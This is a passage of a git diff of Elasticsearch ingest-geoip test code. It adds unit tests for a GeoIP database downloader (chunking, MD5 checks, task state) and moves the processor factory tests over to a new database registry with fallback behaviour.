org.elasticsearch.ingest.geoip.GeoIpDownloader.ENDPOINT_SETTING; +import static org.elasticsearch.ingest.geoip.GeoIpDownloader.MAX_CHUNK_SIZE; +import static org.elasticsearch.tasks.TaskId.EMPTY_TASK_ID; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class GeoIpDownloaderTests extends ESTestCase { + + private HttpClient httpClient; + private ClusterService clusterService; + private ThreadPool threadPool; + private MockClient client; + private GeoIpDownloader geoIpDownloader; + + @Before + public void setup() { + httpClient = mock(HttpClient.class); + clusterService = mock(ClusterService.class); + threadPool = new ThreadPool(Settings.builder().put(Node.NODE_NAME_SETTING.getKey(), "test").build()); + when(clusterService.getClusterSettings()).thenReturn(new ClusterSettings(Settings.EMPTY, + Set.of(GeoIpDownloader.ENDPOINT_SETTING, GeoIpDownloader.POLL_INTERVAL_SETTING, GeoIpDownloaderTaskExecutor.ENABLED_SETTING))); + ClusterState state = ClusterState.builder(ClusterName.DEFAULT).build(); + when(clusterService.state()).thenReturn(state); + client = new MockClient(threadPool); + geoIpDownloader = new GeoIpDownloader(client, httpClient, clusterService, threadPool, Settings.EMPTY, + 1, "", "", "", EMPTY_TASK_ID, Collections.emptyMap()); + } + + @After + public void tearDown() throws Exception { + super.tearDown(); + threadPool.shutdownNow(); + } + + public void testGetChunkEndOfStream() throws IOException { + byte[] chunk = geoIpDownloader.getChunk(new InputStream() { + @Override + public int read() { + return -1; + } + }); + assertArrayEquals(new byte[0], chunk); + chunk = geoIpDownloader.getChunk(new ByteArrayInputStream(new byte[0])); + assertArrayEquals(new byte[0], chunk); + } + + public void testGetChunkLessThanChunkSize() throws IOException { + ByteArrayInputStream is = new ByteArrayInputStream(new byte[]{1, 2, 3, 4}); + byte[] chunk = geoIpDownloader.getChunk(is); + assertArrayEquals(new byte[]{1, 2, 3, 4}, chunk); + chunk = geoIpDownloader.getChunk(is); + assertArrayEquals(new byte[0], chunk); + + } + + public void testGetChunkExactlyChunkSize() throws IOException { + byte[] bigArray = new byte[MAX_CHUNK_SIZE]; + for (int i = 0; i < MAX_CHUNK_SIZE; i++) { + bigArray[i] = (byte) i; + } + ByteArrayInputStream is = new ByteArrayInputStream(bigArray); + byte[] chunk = geoIpDownloader.getChunk(is); + assertArrayEquals(bigArray, chunk); + chunk = geoIpDownloader.getChunk(is); + assertArrayEquals(new byte[0], chunk); + } + + public void testGetChunkMoreThanChunkSize() throws IOException { + byte[] bigArray = new byte[MAX_CHUNK_SIZE * 2]; + for (int i = 0; i < MAX_CHUNK_SIZE * 2; i++) { + bigArray[i] = (byte) i; + } + byte[] smallArray = new byte[MAX_CHUNK_SIZE]; + System.arraycopy(bigArray, 0, smallArray, 0, MAX_CHUNK_SIZE); + ByteArrayInputStream is = new ByteArrayInputStream(bigArray); + byte[] chunk = geoIpDownloader.getChunk(is); + assertArrayEquals(smallArray, chunk); + System.arraycopy(bigArray, MAX_CHUNK_SIZE, smallArray, 0, MAX_CHUNK_SIZE); + chunk = geoIpDownloader.getChunk(is); + assertArrayEquals(smallArray, chunk); + chunk = geoIpDownloader.getChunk(is); + assertArrayEquals(new byte[0], chunk); + } + + public void testGetChunkRethrowsIOException() { + expectThrows(IOException.class, () -> geoIpDownloader.getChunk(new InputStream() { + @Override + public int read() throws IOException { + throw new IOException(); + } + })); + } + + public void testIndexChunksNoData() throws IOException { + client.addHandler(FlushAction.INSTANCE, (FlushRequest request, ActionListener flushResponseActionListener) -> { + assertArrayEquals(new String[] {GeoIpDownloader.DATABASES_INDEX}, request.indices()); + flushResponseActionListener.onResponse(mock(FlushResponse.class)); + }); + client.addHandler(RefreshAction.INSTANCE, (RefreshRequest request, ActionListener flushResponseActionListener) -> { + assertArrayEquals(new String[] {GeoIpDownloader.DATABASES_INDEX}, request.indices()); + flushResponseActionListener.onResponse(mock(RefreshResponse.class)); + }); + + InputStream empty = new ByteArrayInputStream(new byte[0]); + assertEquals(0, geoIpDownloader.indexChunks("test", empty, 0, "d41d8cd98f00b204e9800998ecf8427e", 0)); + } + + public void testIndexChunksMd5Mismatch() { + client.addHandler(FlushAction.INSTANCE, (FlushRequest request, ActionListener flushResponseActionListener) -> { + assertArrayEquals(new String[] {GeoIpDownloader.DATABASES_INDEX}, request.indices()); + flushResponseActionListener.onResponse(mock(FlushResponse.class)); + }); + client.addHandler(RefreshAction.INSTANCE, (RefreshRequest request, ActionListener flushResponseActionListener) -> { + assertArrayEquals(new String[] {GeoIpDownloader.DATABASES_INDEX}, request.indices()); + flushResponseActionListener.onResponse(mock(RefreshResponse.class)); + }); + + IOException exception = expectThrows(IOException.class, () -> geoIpDownloader.indexChunks("test", + new ByteArrayInputStream(new byte[0]), 0, "123123", 0)); + assertEquals("md5 checksum mismatch, expected [123123], actual [d41d8cd98f00b204e9800998ecf8427e]", exception.getMessage()); + } + + public void testIndexChunks() throws IOException { + byte[] bigArray = new byte[MAX_CHUNK_SIZE + 20]; + for (int i = 0; i < MAX_CHUNK_SIZE + 20; i++) { + bigArray[i] = (byte) i; + } + byte[][] chunksData = new byte[2][]; + chunksData[0] = new byte[MAX_CHUNK_SIZE]; + System.arraycopy(bigArray, 0, chunksData[0], 0, MAX_CHUNK_SIZE); + chunksData[1] = new byte[20]; + System.arraycopy(bigArray, MAX_CHUNK_SIZE, chunksData[1], 0, 20); + + AtomicInteger chunkIndex = new AtomicInteger(); + + client.addHandler(IndexAction.INSTANCE, (IndexRequest request, ActionListener listener) -> { + int chunk = chunkIndex.getAndIncrement(); + assertEquals(OpType.CREATE, request.opType()); + assertThat(request.id(), Matchers.startsWith("test_" + (chunk + 15) + "_")); + assertEquals(XContentType.SMILE, request.getContentType()); + Map source = request.sourceAsMap(); + assertEquals("test", source.get("name")); + assertArrayEquals(chunksData[chunk], (byte[]) source.get("data")); + assertEquals(chunk + 15, source.get("chunk")); + listener.onResponse(mock(IndexResponse.class)); + }); + client.addHandler(FlushAction.INSTANCE, (FlushRequest request, ActionListener flushResponseActionListener) -> { + assertArrayEquals(new String[] {GeoIpDownloader.DATABASES_INDEX}, request.indices()); + flushResponseActionListener.onResponse(mock(FlushResponse.class)); + }); + client.addHandler(RefreshAction.INSTANCE, (RefreshRequest request, ActionListener flushResponseActionListener) -> { + assertArrayEquals(new String[] {GeoIpDownloader.DATABASES_INDEX}, request.indices()); + flushResponseActionListener.onResponse(mock(RefreshResponse.class)); + }); + + InputStream big = new ByteArrayInputStream(bigArray); + assertEquals(17, geoIpDownloader.indexChunks("test", big, 15, "a67563dfa8f3cba8b8cff61eb989a749", 0)); + + assertEquals(2, chunkIndex.get()); + } + + public void testProcessDatabaseNew() throws IOException { + ByteArrayInputStream bais = new ByteArrayInputStream(new byte[0]); + when(httpClient.get("http://a.b/t1")).thenReturn(bais); + + geoIpDownloader = new GeoIpDownloader(client, httpClient, clusterService, threadPool, Settings.EMPTY, + 1, "", "", "", EMPTY_TASK_ID, Collections.emptyMap()) { + @Override + void updateTaskState() { + assertEquals(0, state.get("test").getFirstChunk()); + assertEquals(10, state.get("test").getLastChunk()); + } + + @Override + int indexChunks(String name, InputStream is, int chunk, String expectedMd5, long start) { + assertSame(bais, is); + assertEquals(0, chunk); + return 11; + } + + @Override + protected void updateTimestamp(String name, GeoIpTaskState.Metadata metadata) { + fail(); + } + + @Override + void deleteOldChunks(String name, int firstChunk) { + assertEquals("test", name); + assertEquals(0, firstChunk); + } + }; + + geoIpDownloader.setState(GeoIpTaskState.EMPTY); + geoIpDownloader.processDatabase(Map.of("name", "test.tgz", "url", "http://a.b/t1", "md5_hash", "1")); + } + + public void testProcessDatabaseUpdate() throws IOException { + ByteArrayInputStream bais = new ByteArrayInputStream(new byte[0]); + when(httpClient.get("http://a.b/t1")).thenReturn(bais); + + geoIpDownloader = new GeoIpDownloader(client, httpClient, clusterService, threadPool, Settings.EMPTY, + 1, "", "", "", EMPTY_TASK_ID, Collections.emptyMap()) { + @Override + void updateTaskState() { + assertEquals(9, state.get("test.mmdb").getFirstChunk()); + assertEquals(10, state.get("test.mmdb").getLastChunk()); + } + + @Override + int indexChunks(String name, InputStream is, int chunk, String expectedMd5, long start) { + assertSame(bais, is); + assertEquals(9, chunk); + return 11; + } + + @Override + protected void updateTimestamp(String name, GeoIpTaskState.Metadata metadata) { + fail(); + } + + @Override + void deleteOldChunks(String name, int firstChunk) { + assertEquals("test.mmdb", name); + assertEquals(9, firstChunk); + } + }; + + geoIpDownloader.setState(GeoIpTaskState.EMPTY.put("test.mmdb", new GeoIpTaskState.Metadata(0, 5, 8, "0"))); + geoIpDownloader.processDatabase(Map.of("name", "test.tgz", "url", "http://a.b/t1", "md5_hash", "1")); + } + + + public void testProcessDatabaseSame() throws IOException { + GeoIpTaskState.Metadata metadata = new GeoIpTaskState.Metadata(0, 4, 10, "1"); + GeoIpTaskState taskState = GeoIpTaskState.EMPTY.put("test.mmdb", metadata); + ByteArrayInputStream bais = new ByteArrayInputStream(new byte[0]); + when(httpClient.get("a.b/t1")).thenReturn(bais); + + geoIpDownloader = new GeoIpDownloader(client, httpClient, clusterService, threadPool, Settings.EMPTY, + 1, "", "", "", EMPTY_TASK_ID, Collections.emptyMap()) { + @Override + void updateTaskState() { + fail(); + } + + @Override + int indexChunks(String name, InputStream is, int chunk, String expectedMd5, long start) { + fail(); + return 0; + } + + @Override + protected void updateTimestamp(String name, GeoIpTaskState.Metadata newMetadata) { + assertEquals(metadata, newMetadata); + assertEquals("test.mmdb", name); + } + + @Override + void deleteOldChunks(String name, int firstChunk) { + fail(); + } + }; + geoIpDownloader.setState(taskState); + geoIpDownloader.processDatabase(Map.of("name", "test.tgz", "url", "http://a.b/t1", "md5_hash", "1")); + } + + @SuppressWarnings("unchecked") + public void testUpdateTaskState() { + geoIpDownloader = new GeoIpDownloader(client, httpClient, clusterService, threadPool, Settings.EMPTY, + 1, "", "", "", EMPTY_TASK_ID, Collections.emptyMap()) { + @Override + public void updatePersistentTaskState(PersistentTaskState state, ActionListener> listener) { + assertSame(GeoIpTaskState.EMPTY, state); + PersistentTask task = mock(PersistentTask.class); + when(task.getState()).thenReturn(GeoIpTaskState.EMPTY); + listener.onResponse(task); + } + }; + geoIpDownloader.setState(GeoIpTaskState.EMPTY); + geoIpDownloader.updateTaskState(); + } + + @SuppressWarnings("unchecked") + public void testUpdateTaskStateError() { + geoIpDownloader = new GeoIpDownloader(client, httpClient, clusterService, threadPool, Settings.EMPTY, + 1, "", "", "", EMPTY_TASK_ID, Collections.emptyMap()) { + @Override + public void updatePersistentTaskState(PersistentTaskState state, ActionListener> listener) { + assertSame(GeoIpTaskState.EMPTY, state); + PersistentTask task = mock(PersistentTask.class); + when(task.getState()).thenReturn(GeoIpTaskState.EMPTY); + listener.onFailure(new IllegalStateException("test failure")); + } + }; + geoIpDownloader.setState(GeoIpTaskState.EMPTY); + IllegalStateException exception = expectThrows(IllegalStateException.class, geoIpDownloader::updateTaskState); + assertEquals("test failure", exception.getMessage()); + } + + public void testUpdateDatabases() throws IOException { + List> maps = List.of(Map.of("a", 1, "name", "a.tgz"), Map.of("a", 2, "name", "a.tgz")); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + XContentBuilder builder = new XContentBuilder(XContentType.JSON.xContent(), baos); + builder.startArray(); + builder.map(Map.of("a", 1, "name", "a.tgz")); + builder.map(Map.of("a", 2, "name", "a.tgz")); + builder.endArray(); + builder.close(); + when(httpClient.getBytes("a.b?elastic_geoip_service_tos=agree")) + .thenReturn(baos.toByteArray()); + Iterator> it = maps.iterator(); + geoIpDownloader = new GeoIpDownloader(client, httpClient, clusterService, threadPool, + Settings.builder().put(ENDPOINT_SETTING.getKey(), "a.b").build(), + 1, "", "", "", EMPTY_TASK_ID, Collections.emptyMap()) { + @Override + void processDatabase(Map databaseInfo) { + assertEquals(it.next(), databaseInfo); + } + }; + geoIpDownloader.updateDatabases(); + assertFalse(it.hasNext()); + } + + private static class MockClient extends NoOpClient { + + private final Map, BiConsumer>> handlers = new HashMap<>(); + + private MockClient(ThreadPool threadPool) { + super(threadPool); + } + + public void addHandler(ActionType action, + BiConsumer> listener) { + handlers.put(action, listener); + } + + @SuppressWarnings("unchecked") + @Override + protected void doExecute(ActionType action, + Request request, + ActionListener listener) { + if (handlers.containsKey(action)) { + BiConsumer> biConsumer = + (BiConsumer>) handlers.get(action); + biConsumer.accept(request, listener); + } else { + throw new IllegalStateException("unexpected action called [" + action.name() + "]"); + } + } + } +} diff --git a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpProcessorFactoryTests.java b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpProcessorFactoryTests.java index a0062ba17cbd3..8ff76903229ec 100644 --- a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpProcessorFactoryTests.java +++ b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpProcessorFactoryTests.java @@ -10,13 +10,21 @@ import com.carrotsearch.randomizedtesting.generators.RandomPicks; import org.elasticsearch.ElasticsearchParseException; +import org.elasticsearch.ResourceNotFoundException; +import org.elasticsearch.client.Client; import org.elasticsearch.common.Randomness; +import org.elasticsearch.common.settings.Settings; import org.elasticsearch.index.VersionType; import org.elasticsearch.ingest.IngestDocument; +import org.elasticsearch.ingest.IngestService; +import org.elasticsearch.ingest.RandomDocumentPicks; import org.elasticsearch.test.ESTestCase; import org.elasticsearch.test.StreamsUtils; -import org.junit.AfterClass; -import org.junit.BeforeClass; +import org.elasticsearch.threadpool.TestThreadPool; +import org.elasticsearch.threadpool.ThreadPool; +import org.elasticsearch.watcher.ResourceWatcherService; +import org.junit.After; +import org.junit.Before; import java.io.ByteArrayInputStream; import java.io.IOException; @@ -31,36 +39,39 @@ import java.util.Map; import java.util.Set; -import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.equalTo; -import static org.hamcrest.Matchers.hasToString; +import static org.hamcrest.Matchers.notNullValue; import static org.hamcrest.Matchers.sameInstance; +import static org.mockito.Mockito.mock; public class GeoIpProcessorFactoryTests extends ESTestCase { - private static Map databaseReaders; + private Path geoipTmpDir; + private DatabaseRegistry databaseRegistry; - @BeforeClass - public static void loadDatabaseReaders() throws IOException { + @Before + public void loadDatabaseReaders() throws IOException { final Path geoIpDir = createTempDir(); final Path configDir = createTempDir(); final Path geoIpConfigDir = configDir.resolve("ingest-geoip"); Files.createDirectories(geoIpConfigDir); copyDatabaseFiles(geoIpDir); - databaseReaders = IngestGeoIpPlugin.loadDatabaseReaders(new GeoIpCache(1000), geoIpDir, geoIpConfigDir); + Client client = mock(Client.class); + GeoIpCache cache = new GeoIpCache(1000); + LocalDatabases localDatabases = new LocalDatabases(geoIpDir, geoIpConfigDir, new GeoIpCache(1000)); + geoipTmpDir = createTempDir(); + databaseRegistry = new DatabaseRegistry(geoipTmpDir, client, cache, localDatabases, Runnable::run); } - @AfterClass - public static void closeDatabaseReaders() throws IOException { - for (DatabaseReaderLazyLoader reader : databaseReaders.values()) { - reader.close(); - } - databaseReaders = null; + @After + public void closeDatabaseReaders() throws IOException { + databaseRegistry.close(); + databaseRegistry = null; } public void testBuildDefaults() throws Exception { - GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); Map config = new HashMap<>(); config.put("field", "_field"); @@ -76,7 +87,7 @@ public void testBuildDefaults() throws Exception { } public void testSetIgnoreMissing() throws Exception { - GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); Map config = new HashMap<>(); config.put("field", "_field"); @@ -93,7 +104,7 @@ public void testSetIgnoreMissing() throws Exception { } public void testCountryBuildDefaults() throws Exception { - GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); Map config = new HashMap<>(); config.put("field", "_field"); @@ -111,7 +122,7 @@ public void testCountryBuildDefaults() throws Exception { } public void testAsnBuildDefaults() throws Exception { - GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); Map config = new HashMap<>(); config.put("field", "_field"); @@ -129,7 +140,7 @@ public void testAsnBuildDefaults() throws Exception { } public void testBuildTargetField() throws Exception { - GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); Map config = new HashMap<>(); config.put("field", "_field"); config.put("target_field", "_field"); @@ -140,7 +151,7 @@ public void testBuildTargetField() throws Exception { } public void testBuildDbFile() throws Exception { - GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); Map config = new HashMap<>(); config.put("field", "_field"); config.put("database_file", "GeoLite2-Country.mmdb"); @@ -153,7 +164,7 @@ public void testBuildDbFile() throws Exception { } public void testBuildWithCountryDbAndAsnFields() throws Exception { - GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); Map config = new HashMap<>(); config.put("field", "_field"); config.put("database_file", "GeoLite2-Country.mmdb"); @@ -167,7 +178,7 @@ public void testBuildWithCountryDbAndAsnFields() throws Exception { } public void testBuildWithAsnDbAndCityFields() throws Exception { - GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); Map config = new HashMap<>(); config.put("field", "_field"); config.put("database_file", "GeoLite2-ASN.mmdb"); @@ -181,7 +192,7 @@ public void testBuildWithAsnDbAndCityFields() throws Exception { } public void testBuildNonExistingDbFile() throws Exception { - GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); Map config = new HashMap<>(); config.put("field", "_field"); @@ -191,7 +202,7 @@ public void testBuildNonExistingDbFile() throws Exception { } public void testBuildFields() throws Exception { - GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); Set properties = EnumSet.noneOf(GeoIpProcessor.Property.class); List fieldNames = new ArrayList<>(); @@ -215,7 +226,7 @@ public void testBuildFields() throws Exception { } public void testBuildIllegalFieldOption() throws Exception { - GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); Map config1 = new HashMap<>(); config1.put("field", "_field"); @@ -241,10 +252,12 @@ public void testLazyLoading() throws Exception { // Loading another database reader instances, because otherwise we can't test lazy loading as the // database readers used at class level are reused between tests. (we want to keep that otherwise running this // test will take roughly 4 times more time) - Map databaseReaders = - IngestGeoIpPlugin.loadDatabaseReaders(new GeoIpCache(1000), geoIpDir, geoIpConfigDir); - GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); - for (DatabaseReaderLazyLoader lazyLoader : databaseReaders.values()) { + Client client = mock(Client.class); + GeoIpCache cache = new GeoIpCache(1000); + LocalDatabases localDatabases = new LocalDatabases(geoIpDir, geoIpConfigDir, cache); + DatabaseRegistry databaseRegistry = new DatabaseRegistry(createTempDir(), client, cache, localDatabases, Runnable::run); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); + for (DatabaseReaderLazyLoader lazyLoader : localDatabases.getAllDatabases()) { assertNull(lazyLoader.databaseReader.get()); } @@ -257,10 +270,10 @@ public void testLazyLoading() throws Exception { final GeoIpProcessor city = factory.create(null, "_tag", null, config); // these are lazy loaded until first use so we expect null here - assertNull(databaseReaders.get("GeoLite2-City.mmdb").databaseReader.get()); + assertNull(databaseRegistry.getDatabase("GeoLite2-City.mmdb", true).databaseReader.get()); city.execute(document); // the first ingest should trigger a database load - assertNotNull(databaseReaders.get("GeoLite2-City.mmdb").databaseReader.get()); + assertNotNull(databaseRegistry.getDatabase("GeoLite2-City.mmdb", true).databaseReader.get()); config = new HashMap<>(); config.put("field", "_field"); @@ -268,10 +281,10 @@ public void testLazyLoading() throws Exception { final GeoIpProcessor country = factory.create(null, "_tag", null, config); // these are lazy loaded until first use so we expect null here - assertNull(databaseReaders.get("GeoLite2-Country.mmdb").databaseReader.get()); + assertNull(databaseRegistry.getDatabase("GeoLite2-Country.mmdb", true).databaseReader.get()); country.execute(document); // the first ingest should trigger a database load - assertNotNull(databaseReaders.get("GeoLite2-Country.mmdb").databaseReader.get()); + assertNotNull(databaseRegistry.getDatabase("GeoLite2-Country.mmdb", true).databaseReader.get()); config = new HashMap<>(); config.put("field", "_field"); @@ -279,10 +292,10 @@ public void testLazyLoading() throws Exception { final GeoIpProcessor asn = factory.create(null, "_tag", null, config); // these are lazy loaded until first use so we expect null here - assertNull(databaseReaders.get("GeoLite2-ASN.mmdb").databaseReader.get()); + assertNull(databaseRegistry.getDatabase("GeoLite2-ASN.mmdb", true).databaseReader.get()); asn.execute(document); // the first ingest should trigger a database load - assertNotNull(databaseReaders.get("GeoLite2-ASN.mmdb").databaseReader.get()); + assertNotNull(databaseRegistry.getDatabase("GeoLite2-ASN.mmdb", true).databaseReader.get()); } public void testLoadingCustomDatabase() throws IOException { @@ -299,10 +312,15 @@ public void testLoadingCustomDatabase() throws IOException { * Loading another database reader instances, because otherwise we can't test lazy loading as the database readers used at class * level are reused between tests. (we want to keep that otherwise running this test will take roughly 4 times more time). */ - final Map databaseReaders = - IngestGeoIpPlugin.loadDatabaseReaders(new GeoIpCache(1000), geoIpDir, geoIpConfigDir); - final GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseReaders); - for (DatabaseReaderLazyLoader lazyLoader : databaseReaders.values()) { + ThreadPool threadPool = new TestThreadPool("test"); + ResourceWatcherService resourceWatcherService = new ResourceWatcherService(Settings.EMPTY, threadPool); + LocalDatabases localDatabases = new LocalDatabases(geoIpDir, geoIpConfigDir, new GeoIpCache(1000)); + Client client = mock(Client.class); + GeoIpCache cache = new GeoIpCache(1000); + DatabaseRegistry databaseRegistry = new DatabaseRegistry(createTempDir(), client, cache, localDatabases, Runnable::run); + databaseRegistry.initialize("nodeId", resourceWatcherService, mock(IngestService.class)); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); + for (DatabaseReaderLazyLoader lazyLoader : localDatabases.getAllDatabases()) { assertNull(lazyLoader.databaseReader.get()); } @@ -315,47 +333,84 @@ public void testLoadingCustomDatabase() throws IOException { final GeoIpProcessor city = factory.create(null, "_tag", null, config); // these are lazy loaded until first use so we expect null here - assertNull(databaseReaders.get("GeoIP2-City.mmdb").databaseReader.get()); + assertNull(databaseRegistry.getDatabase("GeoIP2-City.mmdb", true).databaseReader.get()); city.execute(document); // the first ingest should trigger a database load - assertNotNull(databaseReaders.get("GeoIP2-City.mmdb").databaseReader.get()); + assertNotNull(databaseRegistry.getDatabase("GeoIP2-City.mmdb", true).databaseReader.get()); + resourceWatcherService.close(); + threadPool.shutdown(); } - public void testDatabaseNotExistsInDir() throws IOException { - final Path geoIpDir = createTempDir(); - final Path configDir = createTempDir(); - final Path geoIpConfigDir = configDir.resolve("ingest-geoip"); - if (randomBoolean()) { - Files.createDirectories(geoIpConfigDir); + public void testFallbackUsingDefaultDatabases() throws Exception { + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); + { + Map config = new HashMap<>(); + config.put("field", "source_field"); + config.put("fallback_to_default_databases", false); + Exception e = expectThrows(ElasticsearchParseException.class, () -> factory.create(null, null, null, config)); + assertThat(e.getMessage(), equalTo("[database_file] database file [GeoLite2-City.mmdb] doesn't exist")); + } + { + Map config = new HashMap<>(); + config.put("field", "source_field"); + if (randomBoolean()) { + config.put("fallback_to_default_databases", true); + } + GeoIpProcessor processor = factory.create(null, null, null, config); + assertThat(processor, notNullValue()); } - copyDatabaseFiles(geoIpDir); - final String databaseFilename = randomFrom(IngestGeoIpPlugin.DEFAULT_DATABASE_FILENAMES); - Files.delete(geoIpDir.resolve(databaseFilename)); - final IOException e = expectThrows(IOException.class, - () -> IngestGeoIpPlugin.loadDatabaseReaders(new GeoIpCache(1000), geoIpDir, geoIpConfigDir)); - assertThat(e, hasToString(containsString("expected database [" + databaseFilename + "] to exist in [" + geoIpDir + "]"))); } - public void testDatabaseExistsInConfigDir() throws IOException { - final Path geoIpDir = createTempDir(); - final Path configDir = createTempDir(); - final Path geoIpConfigDir = configDir.resolve("ingest-geoip"); - Files.createDirectories(geoIpConfigDir); - copyDatabaseFiles(geoIpDir); - final String databaseFilename = randomFrom(IngestGeoIpPlugin.DEFAULT_DATABASE_FILENAMES); - copyDatabaseFile(geoIpConfigDir, databaseFilename); - final IOException e = expectThrows(IOException.class, - () -> IngestGeoIpPlugin.loadDatabaseReaders(new GeoIpCache(1000), geoIpDir, geoIpConfigDir)); - assertThat(e, hasToString(containsString("expected database [" + databaseFilename + "] to not exist in [" + geoIpConfigDir + "]"))); + public void testFallbackUsingDefaultDatabasesWhileIngesting() throws Exception { + copyDatabaseFile(geoipTmpDir, "GeoLite2-City-Test.mmdb"); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); + // fallback_to_default_databases=true, first use default city db then a custom city db: + { + Map config = new HashMap<>(); + config.put("field", "source_field"); + if (randomBoolean()) { + config.put("fallback_to_default_databases", true); + } + GeoIpProcessor processor = factory.create(null, null, null, config); + Map document = new HashMap<>(); + document.put("source_field", "89.160.20.128"); + IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), document); + processor.execute(ingestDocument); + Map geoData = (Map) ingestDocument.getSourceAndMetadata().get("geoip"); + assertThat(geoData.get("city_name"), equalTo("Tumba")); + + databaseRegistry.updateDatabase("GeoLite2-City.mmdb", "md5", geoipTmpDir.resolve("GeoLite2-City-Test.mmdb"), 0); + ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), document); + processor.execute(ingestDocument); + geoData = (Map) ingestDocument.getSourceAndMetadata().get("geoip"); + assertThat(geoData.get("city_name"), equalTo("Linköping")); + } + // fallback_to_default_databases=false, first use a custom city db then remove the custom db and expect failure: + { + Map config = new HashMap<>(); + config.put("field", "source_field"); + config.put("fallback_to_default_databases", false); + GeoIpProcessor processor = factory.create(null, null, null, config); + Map document = new HashMap<>(); + document.put("source_field", "89.160.20.128"); + IngestDocument ingestDocument = RandomDocumentPicks.randomIngestDocument(random(), document); + processor.execute(ingestDocument); + Map geoData = (Map) ingestDocument.getSourceAndMetadata().get("geoip"); + assertThat(geoData.get("city_name"), equalTo("Linköping")); + databaseRegistry.removeStaleEntries(List.of("GeoLite2-City.mmdb")); + Exception e = expectThrows(ResourceNotFoundException.class, () -> processor.execute(ingestDocument)); + assertThat(e.getMessage(), equalTo("database file [GeoLite2-City.mmdb] doesn't exist")); + } } private static void copyDatabaseFile(final Path path, final String databaseFilename) throws IOException { Files.copy( - new ByteArrayInputStream(StreamsUtils.copyToBytesFromClasspath("/" + databaseFilename)), - path.resolve(databaseFilename)); + new ByteArrayInputStream(StreamsUtils.copyToBytesFromClasspath("/" + databaseFilename)), + path.resolve(databaseFilename) + ); } - private static void copyDatabaseFiles(final Path path) throws IOException { + static void copyDatabaseFiles(final Path path) throws IOException { for (final String databaseFilename : IngestGeoIpPlugin.DEFAULT_DATABASE_FILENAMES) { copyDatabaseFile(path, databaseFilename); } diff --git a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpProcessorTests.java b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpProcessorTests.java index 1d8af704ff299..c3f71da2db813 100644 --- a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpProcessorTests.java +++ b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpProcessorTests.java @@ -299,11 +299,12 @@ public void testListFirstOnlyNoMatches() throws Exception { assertThat(ingestDocument.getSourceAndMetadata().containsKey("target_field"), is(false)); } - private DatabaseReaderLazyLoader loader(final String path) { + private CheckedSupplier loader(final String path) { final Supplier databaseInputStreamSupplier = () -> GeoIpProcessor.class.getResourceAsStream(path); final CheckedSupplier loader = - () -> new DatabaseReader.Builder(databaseInputStreamSupplier.get()).build(); - return new DatabaseReaderLazyLoader(new GeoIpCache(1000), PathUtils.get(path), loader) { + () -> new DatabaseReader.Builder(databaseInputStreamSupplier.get()).build(); + final GeoIpCache cache = new GeoIpCache(1000); + DatabaseReaderLazyLoader lazyLoader = new DatabaseReaderLazyLoader(cache, PathUtils.get(path), null, loader) { @Override long databaseFileSize() throws IOException { @@ -325,6 +326,7 @@ InputStream databaseInputStream() throws IOException { } }; + return () -> lazyLoader; } } diff --git a/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpTaskStateSerializationTests.java b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpTaskStateSerializationTests.java new file mode 100644 index 0000000000000..dd5faa9d8fa33 --- /dev/null +++ b/modules/ingest-geoip/src/test/java/org/elasticsearch/ingest/geoip/GeoIpTaskStateSerializationTests.java @@ -0,0 +1,38 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import 